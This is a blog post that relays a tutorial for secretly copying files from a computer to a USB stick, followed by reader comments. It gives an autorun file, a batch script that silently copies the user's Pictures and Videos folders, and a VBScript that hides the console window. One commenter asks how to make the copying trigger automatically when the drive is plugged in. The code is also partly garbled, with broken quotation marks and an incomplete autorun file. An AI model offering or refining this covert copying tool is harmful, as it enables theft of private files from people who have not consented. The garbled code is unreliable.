How to Copy Files to USB Secretly

Today, I came across a tutorial on instructables that shows you how to copy files from a computer to an USB drive secretly. Well, here’s the tutorial in detail:

How to Copy Files to USB Secretly

Firstly, you need to create 4 files- autorun.inf, file.bat, invisible.vbs and launch.bat. Read the following carefully to understand how these files are created and how they work.
Creating autorun.inf:
Open notepad, paste the following and save the file as autorun.inf

action=Click OK to Run

In the above code “drive.ico” is the icon name. You can change it to reflect the icon you want to use. If you don’t intend to use icon then delete that line.

Creating file.bat:
Open Notepad again, paste the following and save the file as file.bat

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\backup\pics”
%backupcmd% “%USERPROFILE%\videos” “%drive%\backup\vid”
@echo off

In the above code, “backup” is the name of the folder that is to be created on your USB drive. The files will be copyied into it. The first file path “%USERPROFILE%\pictures” – is the target and the second file path “%drive%\backup\pics” – is the destination.

Creating invisible.vbs:

Open Notepad, paste the following and save as invisible.vbs

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

This code runs the process in the background without showing the CMD prompt and what the batch file is processing.

Creating launch.bat:
Open Notepad, paste the following and save as launch.bat.

wscript.exe \invisible.vbs file.bat

Copy the above four files to your pen drive. Once you have copied the files, create a folder named backup. When you double click to auto run, the copying process starts in the background.



7 comments for “How to Copy Files to USB Secretly”

  • jan

    If I do this, is there a chance I can mess up something on the host computer? (Like end up deleting something)

  • Chris

    The VB compiler returns an error
    at line 1 character 1 for this line of code? Should the period before the run statement be a comma?

    CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

  • Dolph

    @jan I tested it and it does not seem likely that anything can be messed up on the host computer. It uses a “backup function” – meaning it should only copy from the host 😉

    @Chris you need to replace “ and ” with ” (the normal one you get when pressing Shift+2)
    CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

    I did the same with
    %backupcmd% “%USERPROFILE%\pictures” “%drive%\backup\pics”
    %backupcmd% “%USERPROFILE%\videos” “%drive%\backup\vid”
    in file.bat , but I’m not sure if that is necessary.

    and thanks a lot Joel for this great tip!

  • Dolph

    All right my previous post could be hard to understand, because this website automatically messes up the quotation marks.
    But like I said: Replace them with the normal one you get when pressing Shift+2.

  • paul

    Dear Joel,
    Is there a way by using same scheme, to backup iphone content.
    Connecting IPhone/USB cable to an usb drive and using apple iphone autorun script code, instead of PC/window?
    Most of my friends had bought an IPhone because they can’t afford a Mac.
    Thank you Paul.

  • Dan Hansen

    Joel, I am not a programmer, just someone looking to easily backup a few folders to a USB drive from someone else that is completely lost around computers. How can I run the above setup without making it invisible? Thanks.

  • Exmix

    Is there w way to do this WITHOUT having to open the folder and run autorun? Like plug it in, open the folder to view files and it does it by itself?

web analytics